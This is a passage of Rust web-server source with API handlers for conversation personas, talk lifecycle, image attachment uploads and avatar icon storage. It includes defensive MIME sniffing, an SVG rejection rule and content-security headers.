9979    })
9980    .await
9981}
9982
9983/// The body of `POST /api/talks/{id}/persona`.
9984#[derive(Debug, Deserialize)]
9985struct TalkPersona {
9986    persona: String,
9987}
9988
9989/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
9990/// like [`talk_agent`]: the turn guard is held for the change and always handed
9991/// to `drain_loop`, so a draft left meanwhile is not stranded.
9992async fn talk_persona(
9993    State(ui): State<Arc<Ui>>,
9994    Path(id): Path<String>,
9995    Json(body): Json<TalkPersona>,
9996) -> ApiResult<Json<TalkView>> {
9997    let admission = ui.begin_admission()?;
9998    admitted(admission, async move {
9999        let id = {
10000            let ui = Arc::clone(&ui);
10001            blocking(move || resolve_talk(&ui.talks, &id)).await?
10002        };
10003        let _publication = crate::consult::publication_guard(&ui.talks, &id)
10004            .await
10005            .map_err(ApiError::from)?;
10006        let repo = {
10007            let ui = Arc::clone(&ui);
10008            let id = id.clone();
10009            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10010        };
10011        let cfg = config_for(&repo).await?;
10012        // Refuse before taking the claim; see `talk_implementers`.
10013        {
10014            let ui = Arc::clone(&ui);
10015            let id = id.clone();
10016            let cfg = cfg.clone();
10017            let wanted = body.persona.clone();
10018            blocking(move || {
10019                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10020                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10021                }
10022                refuse_if_closed(&ui.talks.get(&id)?)
10023            })
10024            .await?;
10025        }
10026        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10027            return Err(ApiError::conflict(
10028                "a talk turn is running; change the persona once it has answered",
10029            ));
10030        };
10031        let switched = {
10032            let ui = Arc::clone(&ui);
10033            let id = id.clone();
10034            let cfg = cfg.clone();
10035            blocking(move || {
10036                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10037                    return Err(ApiError::bad_request(format!(
10038                        "unknown persona `{}`",
10039                        body.persona
10040                    )));
10041                };
10042                let mut talk = ui.talks.get(&id)?;
10043                if !talk.status.open() {
10044                    return Err(ApiError::conflict(format!(
10045                        "talk {} is {} and takes no more turns",
10046                        talk.short(),
10047                        talk.status.as_str()
10048                    )));
10049                }
10050                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10051                Ok(talk)
10052            })
10053            .await
10054        };
10055        // As in `talk_agent`: settle the claim before replying, even on refusal.
10056        let observed = ui.queued_generation(&id);
10057        let fresh = {
10058            let ui = Arc::clone(&ui);
10059            let id = id.clone();
10060            blocking(move || Ok(ui.talks.get(&id)?)).await
10061        };
10062        let draining = match fresh {
10063            Ok(talk) => {
10064                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10065            }
10066            Err(_) => false,
10067        };
10068        let talk = switched?;
10069        Ok(Json(TalkView::new(talk, draining, &ui)))
10070    })
10071    .await
10072}
10073
10074/// The body of `POST /api/talks/{id}/implementers`.
10075#[derive(Debug, Deserialize)]
10076struct TalkImplementers {
10077    implementers: u8,
10078}
10079
10080/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10081/// like [`talk_agent`]: the turn guard is held for the change and always handed
10082/// to `drain_loop`, so a draft left meanwhile is not stranded.
10083async fn talk_implementers(
10084    State(ui): State<Arc<Ui>>,
10085    Path(id): Path<String>,
10086    Json(body): Json<TalkImplementers>,
10087) -> ApiResult<Json<TalkView>> {
10088    let admission = ui.begin_admission()?;
10089    admitted(admission, async move {
10090        let id = {
10091            let ui = Arc::clone(&ui);
10092            blocking(move || resolve_talk(&ui.talks, &id)).await?
10093        };
10094        let _publication = crate::consult::publication_guard(&ui.talks, &id)
10095            .await
10096            .map_err(ApiError::from)?;
10097        let repo = {
10098            let ui = Arc::clone(&ui);
10099            let id = id.clone();
10100            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10101        };
10102        let cfg = config_for(&repo).await?;
10103        // Refuse a request that cannot succeed before taking the claim: a claim
10104        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10105        // moment, so a refusal would make the next request see "busy" instead of
10106        // its own answer. The checks after the claim stay the ones that decide.
10107        {
10108            let ui = Arc::clone(&ui);
10109            let id = id.clone();
10110            let cfg = cfg.clone();
10111            let wanted = body.implementers;
10112            blocking(move || {
10113                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10114                refuse_if_closed(&ui.talks.get(&id)?)
10115            })
10116            .await?;
10117        }
10118        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10119            return Err(ApiError::conflict(
10120                "a talk turn is running; change the implementers once it has answered",
10121            ));
10122        };
10123        let switched = {
10124            let ui = Arc::clone(&ui);
10125            let id = id.clone();
10126            let cfg = cfg.clone();
10127            blocking(move || {
10128                let chosen = talk::check_implementers(body.implementers, &cfg)
10129                    .map_err(ApiError::bad_request)?;
10130                let mut talk = ui.talks.get(&id)?;
10131                if !talk.status.open() {
10132                    return Err(ApiError::conflict(format!(
10133                        "talk {} is {} and takes no more turns",
10134                        talk.short(),
10135                        talk.status.as_str()
10136                    )));
10137                }
10138                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10139                Ok(talk)
10140            })
10141            .await
10142        };
10143        // As in `talk_agent`: settle the claim before replying, even on refusal.
10144        let observed = ui.queued_generation(&id);
10145        let fresh = {
10146            let ui = Arc::clone(&ui);
10147            let id = id.clone();
10148            blocking(move || Ok(ui.talks.get(&id)?)).await
10149        };
10150        let draining = match fresh {
10151            Ok(talk) => {
10152                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10153            }
10154            Err(_) => false,
10155        };
10156        let talk = switched?;
10157        Ok(Json(TalkView::new(talk, draining, &ui)))
10158    })
10159    .await
10160}
10161
10162/// `POST /api/talks/{id}/close`.
10163async fn talk_close(
10164    State(ui): State<Arc<Ui>>,
10165    Path(id): Path<String>,
10166) -> ApiResult<Json<TalkView>> {
10167    blocking(move || {
10168        let id = resolve_talk(&ui.talks, &id)?;
10169        let mut talk = ui.talks.get(&id)?;
10170        talk::close(&mut talk, &ui.talks)?;
10171        let thinking = ui.is_thinking(&talk.id);
10172        Ok(Json(TalkView::new(talk, thinking, &ui)))
10173    })
10174    .await
10175}
10176
10177/// `POST /api/talks/{id}/reopen`.
10178async fn talk_reopen(
10179    State(ui): State<Arc<Ui>>,
10180    Path(id): Path<String>,
10181) -> ApiResult<Json<TalkView>> {
10182    blocking(move || {
10183        let id = resolve_talk(&ui.talks, &id)?;
10184        let mut talk = ui.talks.get(&id)?;
10185        talk::reopen(&mut talk, &ui.talks)?;
10186        let thinking = ui.is_thinking(&talk.id);
10187        Ok(Json(TalkView::new(talk, thinking, &ui)))
10188    })
10189    .await
10190}
10191
10192/// `DELETE /api/talks/{id}`.
10193///
10194/// Removes the conversation's record and artifacts outright, unlike
10195/// [`talk_close`] which keeps the record as history. A turn already in
10196/// flight is not refused here the way [`run_delete`] refuses a live run:
10197/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10198/// under [`Talks::guard`], that the record they are about to write back is
10199/// still there, so a delete racing a turn is safe without this route having
10200/// to know a turn is running at all.
10201async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10202    blocking(move || {
10203        let id = resolve_talk(&ui.talks, &id)?;
10204        ui.talks.remove(&id)?;
10205        Ok(StatusCode::NO_CONTENT)
10206    })
10207    .await
10208}
10209
10210fn talk_ids(root: &FsPath) -> Vec<String> {
10211    std::fs::read_dir(root)
10212        .into_iter()
10213        .flatten()
10214        .flatten()
10215        .filter_map(|e| {
10216            let path = e.path();
10217            if path.extension().is_some_and(|ext| ext == "json") {
10218                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10219            } else {
10220                None
10221            }
10222        })
10223        .collect()
10224}
10225
10226/// Expand an id or short id to exactly one talk id.
10227fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10228    if plain_record_id(id) && store.path_of(id).is_file() {
10229        return Ok(id.to_owned());
10230    }
10231    pick(talk_ids(store.root()), id, "talk")
10232}
10233
10234/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10235/// future `talk-say`.
10236async fn talk_attachment_post(
10237    State(ui): State<Arc<Ui>>,
10238    Path(id): Path<String>,
10239    headers: HeaderMap,
10240    body: Bytes,
10241) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10242    let mime = validate_attachment(&headers, &body)?;
10243    let name = filename_header(&headers);
10244    let data = body.to_vec();
10245    blocking(move || {
10246        let id = resolve_talk(&ui.talks, &id)?;
10247        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10248        Ok((StatusCode::CREATED, Json(att)))
10249    })
10250    .await
10251}
10252
10253/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10254/// `<img>` tag in the transcript.
10255async fn talk_attachment_get(
10256    State(ui): State<Arc<Ui>>,
10257    Path((id, att)): Path<(String, String)>,
10258) -> ApiResult<Response> {
10259    blocking(move || {
10260        let id = resolve_talk(&ui.talks, &id)?;
10261        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10262            return Err(ApiError::not_found(format!(
10263                "talk {id} has no attachment `{att}`"
10264            )));
10265        };
10266        Ok(attachment_response(&meta.mime, data))
10267    })
10268    .await
10269}
10270
10271/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10272/// the icon setting, so changing it changes the URL.
10273fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10274    let id = avatar_encode(&p.id);
10275    format!(
10276        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10277        persona_icon::fingerprint(
10278            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10279        )
10280    )
10281}
10282
10283#[derive(Debug, Default, Deserialize)]
10284struct AvatarQuery {
10285    persona: Option<String>,
10286    /// Set by the page after the first load failed: skip the `icon`.
10287    builtin: Option<String>,
10288}
10289
10290/// Served with every built-in avatar: it is an image, so nothing else may run.
10291const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10292
10293fn builtin_avatar(id: &str) -> Response {
10294    svg_avatar(persona_icon::builtin_svg(id))
10295}
10296
10297async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10298    raster_or_builtin(
10299        read_icon_file(&avatar_setting_path(&ui.home, None))
10300            .filter(|_| q.builtin.is_none())
10301            .as_deref(),
10302        persona_icon::operator_svg(),
10303    )
10304}
10305
10306fn svg_avatar(svg: &'static str) -> Response {
10307    (
10308        [
10309            (header::CONTENT_TYPE, "image/svg+xml"),
10310            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10311            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10312            (header::CACHE_CONTROL, "no-cache"),
10313        ],
10314        svg,
10315    )
10316        .into_response()
10317}
10318
10319fn avatar_encode(value: &str) -> String {
10320    value
10321        .bytes()
10322        .map(|b| {
10323            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10324                char::from(b).to_string()
10325            } else {
10326                format!("%{b:02X}")
10327            }
10328        })
10329        .collect()
10330}
10331
10332// Display-only overrides live outside configuration and conversation records.
10333fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10334    let Some(id) = persona else {
10335        return home.join("avatars/operator.data");
10336    };
10337    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10338    let mut path = home.join("avatars/personas");
10339    for chunk in encoded.as_bytes().chunks(100) {
10340        path.push(std::str::from_utf8(chunk).expect("hex"));
10341    }
10342    path.join("icon.data")
10343}
10344
10345fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10346    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10347        Some(value) if value == "builtin" => Some(String::new()),
10348        Some(value) => Some(value),
10349        None => configured.map(str::to_owned),
10350    }
10351}
10352
10353fn operator_icon_url(home: &FsPath) -> String {
10354    format!(
10355        "/avatars/operator.svg?v={}",
10356        persona_icon::fingerprint(
10357            read_icon_file(&avatar_setting_path(home, None))
10358                .as_deref()
10359                .or(Some(persona_icon::operator_svg()))
10360        )
10361    )
10362}
10363
10364fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10365    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10366        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10367            attachment_response(mime, bytes)
10368        }
10369        _ => svg_avatar(builtin),
10370    };
10371    response
10372        .headers_mut()
10373        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10374    response
10375}
10376
10377#[derive(Default, Deserialize)]
10378struct AvatarSettingsQuery {
10379    repo: Option<PathBuf>,
10380    persona: Option<String>,
10381    builtin: Option<String>,
10382    inherit: Option<String>,
10383}
10384
10385fn avatar_settings_specs(
10386    ui: &Ui,
10387    repo: Option<PathBuf>,
10388) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10389    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10390    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10391        .map(|cfg| cfg.talk.personas)
10392        .unwrap_or_default();
10393    Ok((repo, specs))
10394}
10395
10396fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10397    let Ok(entries) = std::fs::read_dir(path) else {
10398        return;
10399    };
10400    for entry in entries.flatten() {
10401        let name = entry.file_name().to_string_lossy().into_owned();
10402        if name == "icon.data" {
10403            let bytes: Option<Vec<u8>> = prefix
10404                .as_bytes()
10405                .chunks(2)
10406                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10407                .collect();
10408            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10409                out.push(id);
10410            }
10411        } else if name.len() <= 100
10412            && !name.is_empty()
10413            && name.bytes().all(|b| b.is_ascii_hexdigit())
10414            && entry.file_type().is_ok_and(|t| t.is_dir())
10415        {
10416            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10417        }
10418    }
10419}
10420
10421async fn avatar_settings_get(
10422    State(ui): State<Arc<Ui>>,
10423    Query(q): Query<AvatarSettingsQuery>,
10424) -> ApiResult<Json<serde_json::Value>> {
10425    blocking(move || {
10426        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10427        let mut catalog = persona::catalog(&specs);
10428        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10429        let mut saved = Vec::new();
10430        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10431        for id in saved {
10432            if !catalog.iter().any(|p| p.id == id) {
10433                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10434            }
10435        }
10436        let personas: Vec<_> = catalog.iter().map(|p| {
10437            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10438            let override_state = match saved.as_deref() {
10439                Some("builtin") => "builtin",
10440                Some(_) => "custom",
10441                None => "inherit",
10442            };
10443            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10444            serde_json::json!({"id":p.id,"name":p.name,
10445                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10446                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10447                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10448        }).collect();
10449        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10450    }).await
10451}
10452
10453async fn settings_persona_avatar(
10454    State(ui): State<Arc<Ui>>,
10455    Query(q): Query<AvatarSettingsQuery>,
10456) -> ApiResult<Response> {
10457    blocking(move || {
10458        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10459        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10460        let found = persona::find(&specs, id);
10461        let icon =
10462            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10463        Ok(raster_or_builtin(
10464            icon.as_deref().filter(|_| q.builtin.is_none()),
10465            persona_icon::builtin_svg(id),
10466        ))
10467    })
10468    .await
10469}
10470
10471fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10472    if q.persona
10473        .as_ref()
10474        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10475    {
10476        return Err(ApiError::bad_request("invalid persona id"));
10477    }
10478    Ok(())
10479}
10480
10481async fn avatar_settings_put(
10482    State(ui): State<Arc<Ui>>,
10483    Query(q): Query<AvatarSettingsQuery>,
10484    Json(upload): Json<MagiIconUpload>,
10485) -> ApiResult<Json<serde_json::Value>> {
10486    blocking(move || {
10487        validate_avatar_target(&q)?;
10488        save_icon_file(
10489            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10490            &upload.icon,
10491        )
10492        .map_err(ApiError::bad_request_from)?;
10493        Ok(Json(serde_json::json!({"saved":true})))
10494    })
10495    .await
10496}
10497
10498async fn avatar_settings_delete(
10499    State(ui): State<Arc<Ui>>,
10500    Query(q): Query<AvatarSettingsQuery>,
10501) -> ApiResult<Json<serde_json::Value>> {
10502    blocking(move || {
10503        validate_avatar_target(&q)?;
10504        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10505        if q.persona.is_some() && q.inherit.is_none() {
10506            atomic_icon_write(&path, "builtin")?;
10507        } else {
10508            match std::fs::remove_file(path) {
10509                Ok(()) => (),
10510                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10511                Err(e) => return Err(anyhow::Error::from(e).into()),
10512            }
10513        }
10514        Ok(Json(serde_json::json!({"saved":true})))
10515    })
10516    .await
10517}
10518
10519// The global MAGI icon is deliberately independent of repository configuration.
10520fn magi_icon_path(home: &FsPath) -> PathBuf {
10521    home.join("magi-icon.data")
10522}
10523
10524fn read_magi_icon(home: &FsPath) -> Option<String> {
10525    read_icon_file(&magi_icon_path(home))
10526}
10527
10528fn read_icon_file(path: &FsPath) -> Option<String> {
10529    let metadata = std::fs::metadata(path).ok()?;
10530    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10531        return None;
10532    }
10533    let file = std::fs::File::open(path).ok()?;
10534    use std::io::Read;
10535    let mut text = String::new();
10536    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10537        .read_to_string(&mut text)
10538        .ok()?;
10539    if text.len() > persona_icon::ICON_MAX_BYTES {
10540        return None;
10541    }
10542    if text == "builtin" {
10543        return Some(text);
10544    }
10545    validate_uploaded_icon(&text).ok()?;
10546    Some(text)
10547}
10548
10549fn magi_icon_url(home: &FsPath) -> String {
10550    format!(
10551        "/avatars/magi?v={}",
10552        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10553    )
10554}
10555
10556async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10557    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10558}
10559
10560#[derive(Deserialize)]
10561struct MagiIconUpload {
10562    icon: String,
10563}
10564
10565fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10566    save_icon_file(&magi_icon_path(home), icon)
10567}
10568
10569fn validate_uploaded_icon(icon: &str) -> Result<()> {
10570    if !icon.starts_with("data:") {
10571        anyhow::bail!("upload a raster image");
10572    }
10573    let (mime, bytes) = persona_icon::load(icon)?;
10574    if sniffed_mime(&bytes) != Some(mime) {
10575        anyhow::bail!("image content does not match its type");
10576    }
10577    Ok(())
10578}
10579
10580fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10581    validate_uploaded_icon(icon)?;
10582    atomic_icon_write(path, icon)
10583}
10584
10585fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10586    let home = path.parent().expect("icon parent");
10587    std::fs::create_dir_all(home)?;
10588    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10589    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10590    let result = (|| -> Result<()> {
10591        use std::io::Write;
10592        let mut file = std::fs::OpenOptions::new()
10593            .write(true)
10594            .create_new(true)
10595            .open(&temp)?;
10596        file.write_all(icon.as_bytes())?;
10597        file.sync_all()?;
10598        std::fs::rename(&temp, path)?;
10599        Ok(())
10600    })();
10601    let _ = std::fs::remove_file(temp);
10602    result?;
10603    Ok(())
10604}
10605
10606async fn magi_icon_put(
10607    State(ui): State<Arc<Ui>>,
10608    Json(upload): Json<MagiIconUpload>,
10609) -> ApiResult<Json<serde_json::Value>> {
10610    blocking(move || {
10611        if !upload.icon.starts_with("data:") {
10612            return Err(ApiError::bad_request("upload a raster image"));
10613        }
10614        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10615        if sniffed_mime(&bytes) != Some(mime) {
10616            return Err(ApiError::bad_request(
10617                "image content does not match its type",
10618            ));
10619        }
10620        save_magi_icon(&ui.home, &upload.icon)?;
10621        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10622    })
10623    .await
10624}
10625
10626async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10627    blocking(move || {
10628        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10629            Ok(()) => (),
10630            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10631            Err(e) => return Err(anyhow::Error::from(e).into()),
10632        }
10633        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10634    })
10635    .await
10636}
10637
10638async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10639    let icon = (q.builtin.is_none())
10640        .then(|| read_magi_icon(&ui.home))
10641        .flatten();
10642    let mut response = match icon
10643        .as_deref()
10644        .and_then(|icon| persona_icon::load(icon).ok())
10645    {
10646        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10647            attachment_response(mime, bytes)
10648        }
10649        _ => svg_avatar(persona_icon::magi_svg()),
10650    };
10651    response
10652        .headers_mut()
10653        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10654    response
10655}
10656
10657/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10658/// operator's raster `icon` when it resolves and its bytes agree with its
10659/// type, the built-in SVG otherwise. Display only; every failure is a warning
10660/// and the built-in avatar, never an error response.
10661async fn talk_avatar(
10662    State(ui): State<Arc<Ui>>,
10663    Path(id): Path<String>,
10664    Query(q): Query<AvatarQuery>,
10665) -> ApiResult<Response> {
10666    blocking(move || {
10667        let id = resolve_talk(&ui.talks, &id)?;
10668        let talk = ui.talks.get(&id)?;
10669        let wanted = q
10670            .persona
10671            .as_deref()
10672            .map(str::trim)
10673            .filter(|p| !p.is_empty())
10674            .unwrap_or(&talk.persona)
10675            .to_owned();
10676        let specs = match Config::discover(&talk.repo, None) {
10677            Ok((cfg, _)) => cfg.talk.personas,
10678            Err(e) => {
10679                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10680                Vec::new()
10681            }
10682        };
10683        let found = persona::find(&specs, &wanted);
10684        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10685        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10686        let icon = effective_persona_icon(
10687            &ui.home,
10688            &wanted,
10689            found.as_ref().and_then(|p| p.icon.as_deref()),
10690        );
10691        if found.is_none() && icon.is_none() {
10692            return Ok(builtin_avatar(persona::DEFAULT_ID));
10693        }
10694        let Some(icon) = icon
10695            .as_deref()
10696            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10697        else {
10698            return Ok(builtin_avatar(&wanted));
10699        };
10700        let Some(found) = found else {
10701            return Ok(raster_or_builtin(
10702                Some(icon),
10703                persona_icon::builtin_svg(&wanted),
10704            ));
10705        };
10706        match persona_icon::load(icon) {
10707            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10708                let mut res = attachment_response(mime, bytes);
10709                res.headers_mut().insert(
10710                    header::CACHE_CONTROL,
10711                    header::HeaderValue::from_static("no-cache"),
10712                );
10713                Ok(res)
10714            }
10715            Ok((mime, _)) => {
10716                tracing::warn!(
10717                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10718                    found.id
10719                );
10720                Ok(builtin_avatar(&found.id))
10721            }
10722            Err(e) => {
10723                tracing::warn!(
10724                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10725                    found.id
10726                );
10727                Ok(builtin_avatar(&found.id))
10728            }
10729        }
10730    })
10731    .await
10732}
10733
10734/// Validate an attachment upload's declared `Content-Type` and the bytes
10735/// themselves, returning the canonical mime on success.
10736///
10737/// Two checks, both required: the header has to name one of
10738/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
10739/// simply never in the list, active content rather than a picture, the same
10740/// exclusion [`asset_content_type`]'s doc explains), and the file's own
10741/// magic number has to agree. The second is what stops a mislabeled upload -
10742/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
10743/// a declared type is a claim, not a fact, so it is never trusted alone.
10744fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10745    if data.len() > ATTACHMENT_MAX_BYTES {
10746        return Err(ApiError::bad_request(format!(
10747            "attachment is {} bytes, over the {} MiB limit",
10748            data.len(),
10749            ATTACHMENT_MAX_BYTES / (1024 * 1024)
10750        ))
10751        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10752    }
10753    if data.is_empty() {
10754        return Err(ApiError::bad_request("attachment is empty"));
10755    }
10756    let declared = declared_mime(headers)?;
10757    match sniffed_mime(data) {
10758        Some(sniffed) if sniffed == declared => Ok(declared),
10759        Some(sniffed) => Err(ApiError::bad_request(format!(
10760            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10761        ))),
10762        None => Err(ApiError::bad_request(
10763            "the file's bytes do not match any accepted image format",
10764        )),
10765    }
10766}
10767
10768/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
10769/// and nothing else - parameters like `; charset=` are stripped, but the
10770/// value itself is not otherwise interpreted.
10771fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10772    let raw = headers
10773        .get(header::CONTENT_TYPE)
10774        .and_then(|v| v.to_str().ok())
10775        .unwrap_or("")
10776        .split(';')
10777        .next()
10778        .unwrap_or("")
10779        .trim()
10780        .to_ascii_lowercase();
10781    ATTACHMENT_MIME_WHITELIST
10782        .iter()
10783        .find(|&&m| m == raw)
10784        .copied()
10785        .ok_or_else(|| {
10786            if raw == "image/svg+xml" {
10787                ApiError::bad_request(
10788                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
10789                     not just a picture",
10790                )
10791            } else if raw.is_empty() {
10792                ApiError::bad_request("Content-Type is required for an attachment upload")
10793            } else {
10794                ApiError::bad_request(format!(
10795                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10796                     image/gif or image/webp"
10797                ))
10798            }
10799        })
10800}
10801
10802/// Identify an image by its magic number, independent of whatever
10803/// `Content-Type` claimed.
10804fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10805    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10806        Some("image/png")
10807    } else if data.starts_with(b"\xff\xd8\xff") {
10808        Some("image/jpeg")
10809    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10810        Some("image/gif")
10811    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10812        Some("image/webp")
10813    } else {
10814        None
10815    }
10816}
10817
10818/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10819/// display - see [`talk::Attachment::name`]'s doc on why it never
10820/// contributes to a path. A missing or blank header (curl without it, an
10821/// older front end) falls back to a generic name rather than refusing the
10822/// upload over a field that is cosmetic.
10823fn filename_header(headers: &HeaderMap) -> String {
10824    headers
10825        .get(FILENAME_HEADER)
10826        .and_then(|v| v.to_str().ok())
10827        .map(str::trim)
10828        .filter(|s| !s.is_empty())
10829        .unwrap_or("attachment")
10830        .to_owned()
10831}
10832
10833/// Every attachment `GET` response: the mime re-validated against the same
10834/// closed whitelist the upload route enforces - never the string trusted
10835/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10836/// cannot decide it knows better than the type we send. Unlike a panel asset
10837/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10838/// document renders inline, not agent-authored HTML in a sandboxed frame.
10839fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10840    let content_type = ATTACHMENT_MIME_WHITELIST
10841        .iter()
10842        .find(|&&m| m == mime)
10843        .copied()
10844        .unwrap_or("application/octet-stream");
10845    (
10846        [
10847            (header::CONTENT_TYPE, content_type),
10848            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10849        ],
10850        body,
10851    )
10852        .into_response()
10853}
10854
10855/// The configuration for a repository, read off the disk for this request.
10856///
10857/// Through [`blocking`] because discovery reads and merges several TOML files,
10858/// and because the alternative - caching it in [`Ui`] at startup - would mean
10859/// the operator's phone kept interviewing with a roster they had already
10860/// changed, with no way to reload it but restarting the server they are not
10861/// sitting in front of.
10862async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10863    let repo = repo.to_path_buf();
10864    blocking(move || {
10865        let (cfg, _) = Config::discover(&repo, None)?;
10866        Ok(cfg)
10867    })
10868    .await
10869}
10870
10871/// The one prefix rule, used for both runs and tasks: a leading match for a
10872/// full id, a trailing match for the short form an operator reads off a
10873/// report. Written here rather than borrowed from `queue::resolve_id` because
10874/// the UI needs the two failures as different status codes, and telling them
10875/// apart from an error message is not something to build a route on.
